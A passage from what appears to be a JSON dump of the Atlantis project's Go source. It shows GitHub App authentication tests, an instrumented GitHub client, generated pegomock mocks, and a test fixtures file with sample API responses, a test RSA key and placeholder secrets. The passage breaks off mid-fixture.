&github.AppCredentials{\n\t\tAppID:    tempSecrets.ID,\n\t\tKey:      []byte(testdata.PrivateKey),\n\t\tHostname: testServer,\n\t}\n\t_, err = github.New(testServer, appCreds, github.Config{}, 0, logging.NewNoopLogger(t))\n\tOk(t, err)\n\n\ttoken, err := appCreds.GetToken()\n\tOk(t, err)\n\n\tnewToken, err := appCreds.GetToken()\n\tOk(t, err)\n\n\tuser, err := appCreds.GetUser()\n\tOk(t, err)\n\n\tAssert(t, user == \"\", \"user should be empty\")\n\n\tif token != newToken {\n\t\tt.Errorf(\"app token was not cached: %q != %q\", token, newToken)\n\t}\n}\n\nfunc TestClient_MultipleAppAuthentication(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tdefer disableSSLVerification()()\n\ttestServer, err := testdata.GithubMultipleAppTestServer(t)\n\tOk(t, err)\n\n\tanonCreds := &github.AnonymousCredentials{}\n\tanonClient, err := github.New(testServer, anonCreds, github.Config{}, 0, logging.NewNoopLogger(t))\n\tOk(t, err)\n\ttempSecrets, err := anonClient.ExchangeCode(logger, \"good-code\")\n\tOk(t, err)\n\n\tappCreds := &github.AppCredentials{\n\t\tAppID:          tempSecrets.ID,\n\t\tInstallationID: 1,\n\t\tKey:            []byte(testdata.PrivateKey),\n\t\tHostname:       testServer,\n\t}\n\t_, err = github.New(testServer, appCreds, github.Config{}, 0, logging.NewNoopLogger(t))\n\tOk(t, err)\n\n\ttoken, err := appCreds.GetToken()\n\tOk(t, err)\n\n\tnewToken, err := appCreds.GetToken()\n\tOk(t, err)\n\n\tuser, err := appCreds.GetUser()\n\tOk(t, err)\n\n\tAssert(t, user == \"\", \"user should be empty\")\n\n\tif token != newToken {\n\t\tt.Errorf(\"app token was not cached: %q != %q\", token, newToken)\n\t}\n}\n"
  },
  {
    "path": "server/events/vcs/github/instrumented_client.go",
    "content": "package github\n\nimport (\n\t\"github.com/google/go-github/v83/github\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/common\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/metrics\"\n\t\"github.com/uber-go/tally/v4\"\n)\n\n// NewInstrumentedGithubClient creates a client proxy responsible for gathering stats and logging\nfunc NewInstrumentedGithubClient(client *Client, statsScope tally.Scope, logger logging.SimpleLogging) IGithubClient {\n\tscope := statsScope.SubScope(\"github\")\n\n\tinstrumentedGHClient := &common.InstrumentedClient{\n\t\tClient:     client,\n\t\tStatsScope: scope,\n\t\tLogger:     logger,\n\t}\n\n\treturn &InstrumentedGithubClient{\n\t\tInstrumentedClient: instrumentedGHClient,\n\t\tPullRequestGetter:  client,\n\t\tStatsScope:         scope,\n\t\tLogger:             logger,\n\t}\n}\n\n//go:generate pegomock generate --package mocks -o mocks/mock_github_pull_request_getter.go GithubPullRequestGetter\n\ntype GithubPullRequestGetter interface {\n\tGetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*github.PullRequest, error)\n}\n\n// IGithubClient exists to bridge the gap between GithubPullRequestGetter and Client interface to allow\n// for a single instrumented client\ntype IGithubClient interface {\n\tvcs.Client\n\tGithubPullRequestGetter\n}\n\n// InstrumentedGithubClient should delegate to the underlying InstrumentedClient for vcs provider-agnostic\n// methods and implement solely any github specific interfaces.\ntype InstrumentedGithubClient struct {\n\t*common.InstrumentedClient\n\tPullRequestGetter GithubPullRequestGetter\n\tStatsScope        tally.Scope\n\tLogger            logging.SimpleLogging\n}\n\nfunc (c *InstrumentedGithubClient) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*github.PullRequest, error) {\n\tscope := c.StatsScope.SubScope(\"get_pull_request\")\n\tscope = common.SetGitScopeTags(scope, repo.FullName, pullNum)\n\n\texecutionTime := scope.Timer(metrics.ExecutionTimeMetric).Start()\n\tdefer executionTime.Stop()\n\n\texecutionSuccess := scope.Counter(metrics.ExecutionSuccessMetric)\n\texecutionError := scope.Counter(metrics.ExecutionErrorMetric)\n\n\tpull, err := c.PullRequestGetter.GetPullRequest(logger, repo, pullNum)\n\n\tif err != nil {\n\t\texecutionError.Inc(1)\n\t\tlogger.Err(\"Unable to get pull number for repo, error: %s\", err.Error())\n\t} else {\n\t\texecutionSuccess.Inc(1)\n\t}\n\n\treturn pull, err\n\n}\n"
  },
  {
    "path": "server/events/vcs/github/mocks/mock_credentials.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events/vcs/github (interfaces: Credentials)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\thttp \"net/http\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockCredentials struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockCredentials(options ...pegomock.Option) *MockCredentials {\n\tmock := &MockCredentials{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockCredentials) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockCredentials) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockCredentials) Client() (*http.Client, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCredentials().\")\n\t}\n\t_params := []pegomock.Param{}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Client\", _params, []reflect.Type{reflect.TypeOf((**http.Client)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 *http.Client\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(*http.Client)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockCredentials) GetToken() (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCredentials().\")\n\t}\n\t_params := []pegomock.Param{}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetToken\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockCredentials) GetUser() (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCredentials().\")\n\t}\n\t_params := []pegomock.Param{}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetUser\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockCredentials) VerifyWasCalledOnce() *VerifierMockCredentials {\n\treturn &VerifierMockCredentials{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockCredentials) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCredentials {\n\treturn &VerifierMockCredentials{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockCredentials) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCredentials {\n\treturn &VerifierMockCredentials{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockCredentials) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCredentials {\n\treturn &VerifierMockCredentials{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockCredentials struct {\n\tmock                   *MockCredentials\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockCredentials) Client() *MockCredentials_Client_OngoingVerification {\n\t_params := []pegomock.Param{}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Client\", _params, verifier.timeout)\n\treturn &MockCredentials_Client_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCredentials_Client_OngoingVerification struct {\n\tmock              *MockCredentials\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCredentials_Client_OngoingVerification) GetCapturedArguments() {\n}\n\nfunc (c *MockCredentials_Client_OngoingVerification) GetAllCapturedArguments() {\n}\n\nfunc (verifier *VerifierMockCredentials) GetToken() *MockCredentials_GetToken_OngoingVerification {\n\t_params := []pegomock.Param{}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetToken\", _params, verifier.timeout)\n\treturn &MockCredentials_GetToken_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCredentials_GetToken_OngoingVerification struct {\n\tmock              *MockCredentials\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCredentials_GetToken_OngoingVerification) GetCapturedArguments() {\n}\n\nfunc (c *MockCredentials_GetToken_OngoingVerification) GetAllCapturedArguments() {\n}\n\nfunc (verifier *VerifierMockCredentials) GetUser() *MockCredentials_GetUser_OngoingVerification {\n\t_params := []pegomock.Param{}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetUser\", _params, verifier.timeout)\n\treturn &MockCredentials_GetUser_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCredentials_GetUser_OngoingVerification struct {\n\tmock              *MockCredentials\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCredentials_GetUser_OngoingVerification) GetCapturedArguments() {\n}\n\nfunc (c *MockCredentials_GetUser_OngoingVerification) GetAllCapturedArguments() {\n}\n"
  },
  {
    "path": "server/events/vcs/github/mocks/mock_github_pull_request_getter.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events/vcs/github (interfaces: GithubPullRequestGetter)\n\npackage mocks\n\nimport (\n\tgithub \"github.com/google/go-github/v83/github\"\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\tlogging \"github.com/runatlantis/atlantis/server/logging\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockGithubPullRequestGetter struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockGithubPullRequestGetter(options ...pegomock.Option) *MockGithubPullRequestGetter {\n\tmock := &MockGithubPullRequestGetter{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockGithubPullRequestGetter) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockGithubPullRequestGetter) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockGithubPullRequestGetter) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*github.PullRequest, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockGithubPullRequestGetter().\")\n\t}\n\t_params := []pegomock.Param{logger, repo, pullNum}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetPullRequest\", _params, []reflect.Type{reflect.TypeOf((**github.PullRequest)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 *github.PullRequest\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(*github.PullRequest)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockGithubPullRequestGetter) VerifyWasCalledOnce() *VerifierMockGithubPullRequestGetter {\n\treturn &VerifierMockGithubPullRequestGetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockGithubPullRequestGetter) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockGithubPullRequestGetter {\n\treturn &VerifierMockGithubPullRequestGetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockGithubPullRequestGetter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGithubPullRequestGetter {\n\treturn &VerifierMockGithubPullRequestGetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockGithubPullRequestGetter) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockGithubPullRequestGetter {\n\treturn &VerifierMockGithubPullRequestGetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockGithubPullRequestGetter struct {\n\tmock                   *MockGithubPullRequestGetter\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockGithubPullRequestGetter) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) *MockGithubPullRequestGetter_GetPullRequest_OngoingVerification {\n\t_params := []pegomock.Param{logger, repo, pullNum}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetPullRequest\", _params, verifier.timeout)\n\treturn &MockGithubPullRequestGetter_GetPullRequest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockGithubPullRequestGetter_GetPullRequest_OngoingVerification struct {\n\tmock              *MockGithubPullRequestGetter\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockGithubPullRequestGetter_GetPullRequest_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, int) {\n\tlogger, repo, pullNum := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], repo[len(repo)-1], pullNum[len(pullNum)-1]\n}\n\nfunc (c *MockGithubPullRequestGetter_GetPullRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []int) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]int, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(int)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/vcs/github/testdata/fixtures.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage testdata\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/url\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/golang-jwt/jwt/v5\"\n\t\"github.com/google/go-github/v83/github\"\n)\n\nvar PullEvent = github.PullRequestEvent{\n\tSender: &github.User{\n\t\tLogin: github.Ptr(\"user\"),\n\t},\n\tRepo:        &Repo,\n\tPullRequest: &Pull,\n\tAction:      github.Ptr(\"opened\"),\n}\n\nvar Pull = github.PullRequest{\n\tHead: &github.PullRequestBranch{\n\t\tSHA:  github.Ptr(\"sha256\"),\n\t\tRef:  github.Ptr(\"ref\"),\n\t\tRepo: &Repo,\n\t},\n\tBase: &github.PullRequestBranch{\n\t\tSHA:  github.Ptr(\"sha256\"),\n\t\tRepo: &Repo,\n\t\tRef:  github.Ptr(\"basebranch\"),\n\t},\n\tHTMLURL: github.Ptr(\"html-url\"),\n\tUser: &github.User{\n\t\tLogin: github.Ptr(\"user\"),\n\t},\n\tNumber: github.Ptr(1),\n\tState:  github.Ptr(\"open\"),\n}\n\nvar Repo = github.Repository{\n\tFullName: github.Ptr(\"owner/repo\"),\n\tOwner:    &github.User{Login: github.Ptr(\"owner\")},\n\tName:     github.Ptr(\"repo\"),\n\tCloneURL: github.Ptr(\"https://github.com/owner/repo.git\"),\n}\n\nconst PrivateKey = `-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAuEPzOUE+kiEH1WLiMeBytTEF856j0hOVcSUSUkZxKvqczkWM\n9vo1gDyC7ZXhdH9fKh32aapba3RSsp4ke+giSmYTk2mGR538ShSDxh0OgpJmjiKP\nX0Bj4j5sFqfXuCtl9SkH4iueivv4R53ktqM+n6hk98l6hRwC39GVIblAh2lEM4L/\n6WvYwuQXPMM5OG2Ryh2tDZ1WS5RKfgq+9ksNJ5Q9UtqtqHkO+E63N5OK9sbzpUUm\noNaOl3udTlZD3A8iqwMPVxH4SxgATBPAc+bmjk6BMJ0qIzDcVGTrqrzUiywCTLma\nszdk8GjzXtPDmuBgNn+o6s02qVGpyydgEuqmTQIDAQABAoIBACL6AvkjQVVLn8kJ\ndBYznJJ4M8ECo+YEgaFwgAHODT0zRQCCgzd+Vxl4YwHmKV2Lr+y2s0drZt8GvYva\nKOK8NYYZyi15IlwFyRXmvvykF1UBpSXluYFDH7KaVroWMgRreHcIys5LqVSIb6Bo\ngDmK0yBLPp8qR29s2b7ScZRtLaqGJiX+j55rNzrZwxHkxFHyG9OG+u9IsBElcKCP\nkYCVE8ZdYexfnKOZbgn2kZB9qu0T/Mdvki8yk3I2bI6xYO24oQmhnT36qnqWoCBX\nNuCNsBQgpYZeZET8mEAUmo9d+ABmIHIvSs005agK8xRaP4+6jYgy6WwoejJRF5yd\nNBuF7aECgYEA50nZ4FiZYV0vcJDxFYeY3kYOvVuKn8OyW+2rg7JIQTremIjv8FkE\nZnwuF9ZRxgqLxUIfKKfzp/5l5LrycNoj2YKfHKnRejxRWXqG+ZETfxxlmlRns0QG\nJ4+BYL0CoanDSeA4fuyn4Bv7cy/03TDhfg/Uq0Aeg+hhcPE/vx3ebPsCgYEAy/Pv\neDLssOSdeyIxf0Brtocg6aPXIVaLdus+bXmLg77rJIFytAZmTTW8SkkSczWtucI3\nFI1I6sei/8FdPzAl62/JDdlf7Wd9K7JIotY4TzT7Tm7QU7xpfLLYIP1bOFjN81rk\n77oOD4LsXcosB/U6s1blPJMZ6AlO2EKs10UuR1cCgYBipzuJ2ADEaOz9RLWwi0AH\nPza2Sj+c2epQD9ZivD7Zo/Sid3ZwvGeGF13JyR7kLEdmAkgsHUdu1rI7mAolXMaB\n1pdrsHureeLxGbRM6za3tzMXWv1Il7FQWoPC8ZwXvMOR1VQDv4nzq7vbbA8z8c+c\n57+8tALQHOTDOgQIzwK61QKBgERGVc0EJy4Uag+VY8J4m1ZQKBluqo7TfP6DQ7O8\nM5MX73maB/7yAX8pVO39RjrhJlYACRZNMbK+v/ckEQYdJSSKmGCVe0JrGYDuPtic\nI9+IGfSorf7KHPoMmMN6bPYQ7Gjh7a++tgRFTMEc8956Hnt4xGahy9NcglNtBpVN\n6G8jAoGBAMCh028pdzJa/xeBHLLaVB2sc0Fe7993WlsPmnVE779dAz7qMscOtXJK\nfgtriltLSSD6rTA9hUAsL/X62rY0wdXuNdijjBb/qvrx7CAV6i37NK1CjABNjsfG\nZM372Ac6zc1EqSrid2IjET1YqyIW2KGLI1R2xbQc98UGlt48OdWu\n-----END RSA PRIVATE KEY-----\n`\n\n// https://developer.github.com/v3/apps/#response-9\nvar conversionJSON = `{\n\t\"id\":      1,\n\t\"node_id\": \"MDM6QXBwNTk=\",\n\t\"owner\": {\n\t\t\"login\":               \"octocat\",\n\t\t\"id\":                  1,\n\t\t\"node_id\":             \"MDQ6VXNlcjE=\",\n\t\t\"avatar_url\":          \"https://github.com/images/error/octocat_happy.gif\",\n\t\t\"gravatar_id\":         \"\",\n\t\t\"url\":                 \"https://api.github.com/users/octocat\",\n\t\t\"html_url\":            \"https://github.com/octocat\",\n\t\t\"followers_url\":       \"https://api.github.com/users/octocat/followers\",\n\t\t\"following_url\":       \"https://api.github.com/users/octocat/following{/other_user}\",\n\t\t\"gists_url\":           \"https://api.github.com/users/octocat/gists{/gist_id}\",\n\t\t\"starred_url\":         \"https://api.github.com/users/octocat/starred{/owner}{/repo}\",\n\t\t\"subscriptions_url\":   \"https://api.github.com/users/octocat/subscriptions\",\n\t\t\"organizations_url\":   \"https://api.github.com/users/octocat/orgs\",\n\t\t\"repos_url\":           \"https://api.github.com/users/octocat/repos\",\n\t\t\"events_url\":          \"https://api.github.com/users/octocat/events{/privacy}\",\n\t\t\"received_events_url\": \"https://api.github.com/users/octocat/received_events\",\n\t\t\"type\":                \"User\",\n\t\t\"site_admin\":          false\n\t},\n\t\"name\":           \"Atlantis\",\n\t\"description\":    null,\n\t\"external_url\":   \"https://atlantis.example.com\",\n\t\"html_url\":       \"https://github.com/apps/atlantis\",\n\t\"created_at\":     \"2018-09-13T12:28:37Z\",\n\t\"updated_at\":     \"2018-09-13T12:28:37Z\",\n\t\"client_id\":      \"Iv1.8a61f9b3a7aba766\",\n\t\"client_secret\":  \"1726be1638095a19edd134c77bde3aa2ece1e5d8\",\n\t\"webhook_secret\": \"e340154128314309424b7c8e90325147d99fdafa\",\n\t\"pem\":            \"%s\"\n}`\n\nvar appInstallationJSON = `[\n\t{\n\t\t\"id\": 1,\n\t\t\"account\": {\n\t\t\t\"login\": \"github\",\n\t\t\t\"id\": 1,\n\t\t\t\"node_id\": \"MDEyOk9yZ2FuaXphdGlvbjE=\",\n\t\t\t\"url\": \"https://api.github.com/orgs/github\",\n\t\t\t\"repos_url\": \"https://api.github.com/orgs/github/repos\",\n\t\t\t\"events_url\": \"https://api.github.com/orgs/github/events\",\n\t\t\t\"hooks_url\": \"https://api.github.com/orgs/github/hooks\",\n\t\t\t\"issues_url\": \"https://api.github.com/orgs/github/issues\",\n\t\t\t\"members_url\": \"https://api.github.com/orgs/github/members{/member}\",\n\t\t\t\"public_members_url\": \"https://api.github.com/orgs/github/public_members{/member}\",\n\t\t\t\"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n\t\t\t\"description\": \"A great organization\"\n\t\t},\n\t\t\"access_tokens_url\": \"https://api.github.com/installations/1/access_tokens\",\n\t\t\"repositories_url\": \"https://api.github.com/installation/repositories\",\n\t\t\"html_url\": \"https://github.com/organizations/github/settings/installations/1\",\n\t\t\"app_id\": 1,\n\t\t\"target_id\": 1,\n\t\t\"target_type\": \"Organization\",\n\t\t\"permissions\": {\n\t\t\t\"metadata\": \"read\",\n\t\t\t\"contents\": \"read\",\n\t\t\t\"issues\": \"write\",\n\t\t\t\"single_file\": \"write\"\n\t\t},\n\t\t\"events\": [\n\t\t\t\"push\",\n\t\t\t\"pull_request\"\n\t\t],\n\t\t\"single_file_name\": \"config.yml\",\n\t\t\"repository_selection\": \"selected\"\n\t}\n]`\n\nvar appMultipleInstallationJSON = `[\n\t{\n\t\t\"id\": 1,\n\t\t\"account\": {\n\t\t\t\"login\": \"github\",\n\t\t\t\"id\": 1,\n\t\t\t\"node_id\": \"MDEyOk9yZ2FuaXphdGlvbjE=\",\n\t\t\t\"url\": \"https://api.github.com/orgs/github\",\n\t\t\t\"repos_url\": \"https://api.github.com/orgs/github/repos\",\n\t\t\t\"events_url\": \"https://api.github.com/orgs/github/events\",\n\t\t\t\"hooks_url\": \"https://api.github.com/orgs/github/hooks\",\n\t\t\t\"issues_url\": \"https://api.github.com/orgs/github/issues\",\n\t\t\t\"members_url\": \"https://api.github.com/orgs/github/members{/member}\",\n\t\t\t\"public_members_url\": \"https://api.github.com/orgs/github/public_members{/member}\",\n\t\t\t\"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n\t\t\t\"description\": \"A great organization\"\n\t\t},\n\t\t\"access_tokens_url\": \"https://api.github.com/installations/1/access_tokens\",\n\t\t\"repositories_url\": \"https://api.github.com/installation/repositories\",\n\t\t\"html_url\": \"https://github.com/organizations/github/settings/installations/1\",\n\t\t\"app_id\": 1,\n\t\t\"target_id\": 1,\n\t\t\"target_type\": \"Organization\",\n\t\t\"permissions\": {\n\t\t\t\"metadata\": \"read\",\n\t\t\t\"contents\": \"read\",\n\t\t\t\"issues\": \"write\",\n\t\t\t\"single_file\": \"write\"\n\t\t},\n\t\t\"events\": [\n\t\t\t\"push\",\n\t\t\t\"pull_request\"\n\t\t],\n\t\t\"single_file_name\": \"config.yml\",\n\t\t\"repository_selection\": \"selected\"\n\t},\n\t{\n\t\t\"id\": 2,\n\t\t\"account\": {\n\t\t\t\"login\": \"github\",\n\t\t\t\"id\": 1,\n\t\t\t\"node_id\": \"MDEyOk9yZ2FuaXphdGlvbjE=\",\n\t\t\t\"url\": \"https://api.github.com/orgs/github\",\n\t\t\t\"repos_url\": \"https://api.github.com/orgs/github/repos\",\n\t\t\t\"events_url\": \"https://api.github.com/orgs/github/events\",\n\t\t\t\"hooks_url\": \"https://api.github.com/orgs/github/hooks\",\n\t\t\t\"issues_url\": \"https://api.github.com/orgs/github/issues\",\n\t\t\t\"members_url\": \"https://api.github.com/orgs/github/members{/member}\",\n\t\t\t\"public_members_url\": \"https://api.github.com/orgs/github/public_members{/member}\",\n\t\t\t\"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n\t\t\t\"description\": \"A great organization\"\n\t\t},\n\t\t\"access_tokens_url\": \"https://api.github.com/installations/1/access_tokens\",\n\t\t\"repositories_url\": \"https://api.github.com/installation/repositories\",\n\t\t\"html_url\": \"https://github.com/organizations/github/settings/installations/1\",\n\t\t\"app_id\": 1,\n\t\t\"target_id\": 1,\n\t\t\"target_type\": \"Organization\",\n\t\t\"permissions\": {\n\t\t\t\"metadata\": \"read\",\n\t\t\t\"contents\": \"read\",\n\t\t\t\"issues\": \"write\",\n\t\t\t\"single_file\": \"write\"\n\t\t},\n\t\t\"events\": [\n\t\t\t\"push\",\n\t\t\t\"pull_request\"\n\t\t],\n\t\t\"single_file_name\": \"config.yml\",\n\t\t\"repository_selection\": \"selected\"\n\t}\n]`\n\n// nolint: gosec\nvar appTokenJSON = `{\n\t\"token\":      \"some-token\",\n\t\"expires_at\": \"2050-01-01T00:00:00Z\",\n\t\"permissions\": {\n\t\t\"issues\":   \"write\",\n\t\t\"contents\": \"read\"\n\t},\n\t\"repositories\": [\n\t\t{\n\t\t\t\"id\":        1296269,\n\t\t\t\"node_id\":   \"MDEwOlJlcG9zaXRvcnkxMjk2MjY5\",\n\t\t\t\"name\":      \"Hello-World\",\n\t\t\t\"full_name\": \"octocat/Hello-World\",\n\t\t\t\"owner\": {\n\t\t\t\t\"login\":               \"octocat\",\n\t\t\t\t\"id\":                  1,\n\t\t\t\t\"node_id\":             \"MDQ6VXNlcjE=\",\n\t\t\t\t\"avatar_url\":          \"https://github.com/images/error/octocat_happy.gif\",\n\t\t\t\t\"gravatar_id\":         \"\",\n\t\t\t\t\"url\":                 \"https://api.github.com/users/octocat\",\n\t\t\t\t\"html_url\":            \"https://github.com/octocat\",\n\t\t\t\t\"followers_url\":       \"https://api.github.com/users/octocat/followers\",\n\t\t\t\t\"following_url\":       \"https://api.github.com/users/octocat/following{/other_user}\",\n\t\t\t\t\"gists_url\":           \"https://api.github.com/users/octocat/gists{/gist_id}\",\n\t\t\t\t\"starred_url\":         \"https://api.github.com/users/octocat/starred{/owner}{/repo}\",\n\t\t\t\t\"subscriptions_url\":   \"https://api.github.com/users/octocat/subscriptions\",\n\t\t\t\t\"organizations_url\":   \"https://api.github.com/users/octocat/orgs\",\n\t\t\t\t\"repos_url\":           \"https://api.github.com/users/octocat/repos\",\n\t\t\t\t\"events_url\":          \"https://api.github.com/users/octocat/events{/privacy}\",\n\t\t\t\t\"received_events_url\": 